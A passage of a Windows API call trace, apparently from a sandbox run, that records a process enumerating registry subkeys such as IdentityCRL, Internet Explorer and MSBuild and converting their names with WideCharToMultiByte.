cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0035.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0035.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.245] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.245] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.245] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.245] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0x30b930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0035.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0035.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x30c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0035.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.245] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.245] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.245] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.245] RegEnumKeyW (in: hKey=0x24, dwIndex=0x28, lpName=0x30b930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0035.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0035.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.245] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.246] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.246] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.246] RegEnumKeyW (in: hKey=0x24, dwIndex=0x29, lpName=0x30b930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0035.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0035.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x30c0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0035.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.246] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.246] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.246] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.246] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2a, lpName=0x30b930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0035.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0035.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x30c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0035.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.246] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.246] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.246] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.246] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2b, lpName=0x30b930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0035.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0035.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x30c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0035.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.246] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.246] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.246] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.246] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2c, lpName=0x30b930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0035.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0035.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x30c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0035.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.247] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.247] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.247] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.247] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2d, lpName=0x30b930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0035.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0035.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x30c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0035.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.247] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.247] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.247] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.247] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2e, lpName=0x30b930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0035.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0035.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x30c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0035.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.247] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.247] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.247] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.247] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2f, lpName=0x30b930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0035.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0035.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x30c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0035.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.247] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.247] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.247] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.247] RegEnumKeyW (in: hKey=0x24, dwIndex=0x30, lpName=0x30b930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0035.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0035.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x30c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0035.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.248] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.248] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.248] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.248] RegEnumKeyW (in: hKey=0x24, dwIndex=0x31, lpName=0x30b930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0035.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0035.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x30c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0035.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.248] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.248] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.248] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.248] RegEnumKeyW (in: hKey=0x24, dwIndex=0x32, lpName=0x30b930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0035.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0035.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x30c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0035.248] RegEnumKeyW (in: hKey=0x24, dwIndex=0x33, lpName=0x30b930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0035.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0035.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x30c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediacenterperipheral", lpUsedDefaultChar=0x0) returned 21 [0035.248] RegEnumKeyW (in: hKey=0x24, dwIndex=0x34, lpName=0x30b930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0035.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0035.248] RegEnumKeyW (in: hKey=0x24, dwIndex=0x35, lpName=0x30b930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0035.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0035.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x30c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messengerservice", lpUsedDefaultChar=0x0) returned 16 [0035.249] RegEnumKeyW (in: hKey=0x24, dwIndex=0x36, lpName=0x30b930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0035.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0035.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x30c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft reference", lpUsedDefaultChar=0x0) returned 19 [0035.249] RegEnumKeyW (in: hKey=0x24, dwIndex=0x37, lpName=0x30b930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0035.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0035.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x30c0d8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sql server compact edition", lpUsedDefaultChar=0x0) returned 36 [0035.249] RegEnumKeyW (in: hKey=0x24, dwIndex=0x38, lpName=0x30b930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0035.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0035.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x30c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migwiz", lpUsedDefaultChar=0x0) returned 6 [0035.249] RegEnumKeyW (in: hKey=0x24, dwIndex=0x39, lpName=0x30b930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0035.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0035.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x30c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmc", lpUsedDefaultChar=0x0) returned 3 [0035.249] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3a, lpName=0x30b930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0035.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0035.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x30c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mobile", lpUsedDefaultChar=0x0) returned 6 [0035.249] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3b, lpName=0x30b930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0035.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0035.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x30c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msbuild", lpUsedDefaultChar=0x0) returned 7 [0035.249] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3c, lpName=0x30b930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0035.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0035.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x30c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msde", lpUsedDefaultChar=0x0) returned 4 [0035.250] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3d, lpName=0x30b930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0035.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0035.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x30c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0035.250] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3e, lpName=0x30b930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0035.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0035.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x30c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0035.250] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3f, lpName=0x30b930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0035.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x30c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mslicensing", lpUsedDefaultChar=0x0) returned 11 [0035.250] RegEnumKeyW (in: hKey=0x24, dwIndex=0x40, lpName=0x30b930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0035.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0035.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x30c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msmq", lpUsedDefaultChar=0x0) returned 4 [0035.250] RegEnumKeyW (in: hKey=0x24, dwIndex=0x41, lpName=0x30b930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0035.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0035.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x30c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msn apps", lpUsedDefaultChar=0x0) returned 8 [0035.250] RegEnumKeyW (in: hKey=0x24, dwIndex=0x42, lpName=0x30b930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0035.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 